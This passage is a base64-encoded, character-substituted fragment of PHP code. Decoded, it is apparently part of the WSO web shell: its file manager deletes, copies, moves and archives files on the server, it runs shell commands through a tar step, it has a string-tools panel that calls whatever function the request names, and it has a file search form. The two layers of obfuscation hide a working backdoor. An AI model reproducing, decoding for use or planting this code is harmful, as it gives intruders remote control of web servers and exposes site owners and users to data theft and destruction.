uMW01KCQ0dDVtKSA9PSAiLiIpICkNCgkJCQkJCQljMm50NG4zNTsNCgkJCQkJCSR0eXA1ID0gZjRsNXR5cDUoJDR0NW0pOw0KCQkJCQkJNGYgKCR0eXA1ID09ICJkNHIiKQ0KCQkJCQkJCWQ1bDV0NUQ0cigkNHQ1bSk7DQoJCQkJCQk1bHM1DQoJCQkJCQkJQDNubDRuaygkNHQ1bSk7DQoJCQkJCX0NCgkJCQkJY2wyczVkNHIoJGRoKTsNCgkJCQkJQHJtZDRyKCRwMXRoKTsNCgkJCQl9DQoJCQkJNGYoNHNfMXJyMXkoQCRfUE9TVFsnZiddKSkNCgkJCQkJZjJyNTFjaCgkX1BPU1RbJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCgkJCQkJCSRmID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJCTRmKDRzX2Q0cigkZikpDQoJCQkJCQkJZDVsNXQ1RDRyKCRmKTsNCgkJCQkJCTVsczUNCgkJCQkJCQlAM25sNG5rKCRmKTsNCgkJCQkJfQ0KCQkJCWJyNTFrOw0KCQkJYzFzNSAncDFzdDUnOg0KCQkJCTRmKCRfQ09PS0lFWycxY3QnXSA9PSAnYzJweScpIHsNCgkJCQkJZjNuY3Q0Mm4gYzJweV9wMXN0NSgkYywkcywkZCl7DQoJCQkJCQk0Zig0c19kNHIoJGMuJHMpKXsNCgkJCQkJCQlta2Q0cigkZC4kcyk7DQoJCQkJCQkJJGggPSBAMnA1bmQ0cigkYy4kcyk7DQoJCQkJCQkJd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KCQkJCQkJCQk0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSA1bHM1NGYoNHNfZjRsNSgkYy4kcykpDQoJCQkJCQkJQGMycHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmMnI1MWNoKCRfQ09PS0lFWydmJ10gMXMgJGYpDQoJCQkJCQljMnB5X3Axc3Q1KCRfQ09PS0lFWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfSA1bHM1NGYoJF9DT09LSUVbJzFjdCddID09ICdtMnY1Jykgew0KCQkJCQlmM25jdDQybiBtMnY1X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0ZihANHNfZjRsNSgkYy4kcykpDQoJCQkJCQkJQGMycHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmMnI1MWNoKCRfQ09PS0lFWydmJ10gMXMgJGYpDQoJCQkJCQlAcjVuMW01KCRfQ09PS0lFWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQoJCQkJfSA1bHM1NGYoJF9DT09LSUVbJzFjdCddID09ICd6NHAnKSB7DQoJCQkJCTRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkejRwID0gbjV3IFo0cEFyY2g0djUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkejRwLT4ycDVuKCRfUE9TVFsncGEnXSwgNikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfQ09PS0lFWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX0NPT0tJRVsnYyddLiRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUoJF9DT09LSUVbJ2MnXS4kZiwgJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoQDRzX2Q0cigkX0NPT0tJRVsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJywgRjRsNXN5c3Q1bUl0NXIxdDJyOjpTS0lQX0RPVFMpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQ0dDVyMXQyciAxcyAkazV5PT4kdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KHI1MWxwMXRoKCRrNXkpLCAkazV5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJzNuejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfQ09PS0lFWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjV4dHIxY3RUMigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gNWxzNTRmKCRfQ09PS0lFWycxY3QnXSA9PSAndDFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IDFycjF5X20xcCgnNXNjMXA1c2g1bGwxcmcnLCAkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3MyRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfQ09PS0lFWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJM25zNXQoJF9DT09LSUVbJ2YnXSk7DQogICAgICAgICAgICAgICAgczV0YzIyazQ1KCdmJywgJycsIHQ0bTUoKSAtIG9lMDApOw0KCQkJCWJyNTFrOw0KCQkJZDVmMTNsdDoNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkJCQlXU09zNXRjMjJrNDUoJzFjdCcsICRfUE9TVFsncDYnXSk7DQoJCQkJCVdTT3M1dGMyMms0NSgnZicsIHM1cjQxbDR6NShAJF9QT1NUWydmJ10pKTsNCgkJCQkJV1NPczV0YzIyazQ1KCdjJywgQCRfUE9TVFsnYyddKTsNCgkJCQl9DQoJCQkJYnI1MWs7DQoJCX0NCgl9DQogICAgd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgbTFuMWc1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzY3I0cHQ+cDZfPXBhXz1wb189IiI7PC9zY3I0cHQ+JzsNCgkkZDRyQzJudDVudCA9IHdzMlNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJ0MxblwndCAycDVuIHRoNHMgZjJsZDVyISc7d3MyRjIydDVyKCk7IHI1dDNybjsgfQ0KCWdsMmIxbCAkczJydDsNCgkkczJydCA9IDFycjF5KCduMW01JywgNik7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYocHI1Z19tMXRjaCgnIXNfKFtBLXpdKylfKFxkezZ9KSEnLCAkX1BPU1RbJ3A2J10sICRtMXRjaCkpDQoJCQkkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOw0KCX0NCjVjaDIgIjxzY3I0cHQ+DQoJZjNuY3Q0Mm4gczEoKSB7DQoJCWYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQk0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCgkJCQlkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7DQoJfQ0KPC9zY3I0cHQ+DQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnPg0KPGYycm0gbjFtNT1mNGw1cyBtNXRoMmQ9cDJzdD48dHI+PHRoIHc0ZHRoPSc2b3B4Jz48NG5wM3QgdHlwNT1jaDVja2IyeCAybmNsNGNrPSdzMSgpJyBjbDFzcz1jaGtieD48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19uMW01XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TjFtNTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19zNHo1XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UzR6NTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19tMmQ0ZnlfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5NMmQ0Znk8LzE+PC90aD48dGg+T3duNXIvR3IyM3A8L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19wNXJtc18iLigkczJydFs2XT8wOjYpLiJcIiknPlA1cm00c3M0Mm5zPC8xPjwvdGg+PHRoPkFjdDQybnM8L3RoPjwvdHI+IjsNCgkkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQoJJG4gPSBjMjNudCgkZDRyQzJudDVudCk7DQoJZjJyKCQ0PTA7JDQ8JG47JDQrKykgew0KCQkkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsNCgkJJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQoJCSR0bXAgPSAxcnIxeSgnbjFtNScgPT4gJGQ0ckMybnQ1bnRbJDRdLA0KCQkJCQkgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sDQoJCQkJCSAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiAnIC4gKDVtcHR5ICgkZlsnbDRuayddKSA/ICcnIDogInQ0dGw1PSd7JGZbJ2w0bmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSkgLiAnIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT93czJWNDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10NCgkJCS4nPC90ZD48dGQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3I1bjFtNVwnKSI+UjwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3QyM2NoXCcpIj5UPC8xPicuKCgkZlsndHlwNSddPT0nZjRsNScpPycgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJzVkNHRcJykiPkU8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdkMndubDIxZFwnKSI+RDwvMT4nOicnKS4nPC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDo2Ow0KCX0NCgk1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQoJPHM1bDVjdCBuMW01PSdwNic+PDJwdDQybiB2MWwzNT0nYzJweSc+QzJweTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J20ydjUnPk0ydjU8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdkNWw1dDUnPkQ1bDV0NTwvMnB0NDJuPiI7DQogICAgNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpDQogICAgICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3o0cCc+QzJtcHI1c3MgKHo0cCk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSczbno0cCc+VW5jMm1wcjVzcyAoejRwKTwvMnB0NDJuPiI7DQogICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ndDFyJz5DMm1wcjVzcyAodDFyLmd6KTwvMnB0NDJuPiI7DQogICAgNGYoITVtcHR5KCRfQ09PS0lFWycxY3QnXSkgJiYgQGMyM250KCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+UDFzdDUgLyBDMm1wcjVzczwvMnB0NDJuPiI7DQogICAgNWNoMiAiPC9zNWw1Y3Q+Jm5ic3A7IjsNCiAgICA0ZighNW1wdHkoJF9DT09LSUVbJzFjdCddKSAmJiBAYzIzbnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgkX0NPT0tJRVsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX0NPT0tJRVsnMWN0J10gPT0gJ3QxcicpKSkNCiAgICAgICAgNWNoMiAiZjRsNSBuMW01OiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9cGEgdjFsMzU9J3dzMl8iIC4gZDF0NSgiWW1kX0g0cyIpIC4gIi4iIC4gKCRfQ09PS0lFWycxY3QnXSA9PSAnejRwJz8nejRwJzondDFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIDVjaDIgIjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1PjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgew0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGFiNG4nKSkge2YzbmN0NDJuIGg1eGFiNG4oJHApIHtyNXQzcm4gZDVjYjRuKGg1eGQ1YygkcCkpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnYjRuaDV4JykpIHtmM25jdDQybiBiNG5oNXgoJHApIHtyNXQzcm4gZDVjaDV4KGI0bmQ1YygkcCkpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCcxc2M0NGFoNXgnKSkge2YzbmN0NDJuIDFzYzQ0YWg1eCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gc3ByNG50ZignJTBhWCcsMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2YzbGxfM3JsNW5jMmQ1JykpIHtmM25jdDQybiBmM2xsXzNybDVuYzJkNSgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gJyUnLmQ1Y2g1eCgycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQoJCSdCMXM1ZXUgNW5jMmQ1JyA9PiAnYjFzNWV1XzVuYzJkNScsDQoJCSdCMXM1ZXUgZDVjMmQ1JyA9PiAnYjFzNWV1X2Q1YzJkNScsDQoJCSdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCgkJJ1VybCBkNWMyZDUnID0+ICczcmxkNWMyZDUnLA0KCQknRjNsbCAzcmw1bmMyZDUnID0+ICdmM2xsXzNybDVuYzJkNScsDQoJCSdtZGkgaDFzaCcgPT4gJ21kaScsDQoJCSdzaDE2IGgxc2gnID0+ICdzaDE2JywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDb2EnID0+ICdjcmNvYScsDQoJCSdBU0NJSSB0MiBIRVgnID0+ICcxc2M0NGFoNXgnLA0KCQknSEVYIHQyIEFTQ0lJJyA9PiAnaDV4YTFzYzQ0JywNCgkJJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KCQknSEVYIHQyIEJJTicgPT4gJ2g1eGFiNG4nLA0KCQknREVDIHQyIEhFWCcgPT4gJ2Q1Y2g1eCcsDQoJCSdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCgkJJ0JJTiB0MiBIRVgnID0+ICdiNG5oNXgnLA0KCQknQklOIHQyIERFQycgPT4gJ2I0bmQ1YycsDQoJCSdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KCQknU3RyNG5nIHQyIDNwcDVyIGMxczUnID0+ICdzdHJ0MjNwcDVyJywNCgkJJ0h0bWxzcDVjNDFsY2gxcnMnID0+ICdodG1sc3A1YzQxbGNoMXJzJywNCgkJJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KCSk7DQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCVdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCcsIHRyMzUpOw0KCQkyYl9zdDFydCgpOw0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQoJCQk1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KCQkkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0JykuNG5uNXJIVE1MPSciLjFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4JywgMCk7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlN0cjRuZyBjMm52NXJzNDJuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNWNoMiAiPGYycm0gbjFtNT0ndDIybHNGMnJtJyAyblMzYm00dD0nNGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fSByNXQzcm4gZjFsczU7Jz48czVsNWN0IG4xbTU9J3M1bDVjdFQyMmwnPiI7DQoJZjJyNTFjaCgkc3RyNG5nVDIybHMgMXMgJGsgPT4gJHYpDQoJCTVjaDIgIjwycHQ0Mm4gdjFsMzU9JyIuaHRtbHNwNWM0MWxjaDFycygkdikuIic+Ii4kay4iPC8ycHQ0Mm4+IjsNCgkJNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuIj4gczVuZCAzczRuZyBBSkFYPGJyPjx0NXh0MXI1MSBuMW01PSc0bnAzdCcgc3R5bDU9J20xcmc0bi10MnA6aXB4JyBjbDFzcz1iNGcxcjUxPiIuKDVtcHR5KCRfUE9TVFsncDYnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydwYSddKSkuIjwvdDV4dDFyNTE+PC9mMnJtPjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnIDRkPSdzdHJPM3RwM3QnPiI7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7DQoJfQ0KCTVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5TNTFyY2ggZjRsNXM6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIDJuczNibTR0PVwiZyhuM2xsLHRoNHMuY3dkLnYxbDM1LG4zbGwsdGg0cy50NXh0LnYxbDM1LHRoNHMuZjRsNW4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48dDFibDUgYzVsbHAxZGQ0bmc9JzYnIGM1bGxzcDFjNG5nPScwJyB3NGR0aD0naTAlJz4NCgkJCTx0cj48dGQgdzRkdGg9JzYlJz5UNXh0OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSd0NXh0JyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QMXRoOjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdjd2QnIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk4xbTU6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eH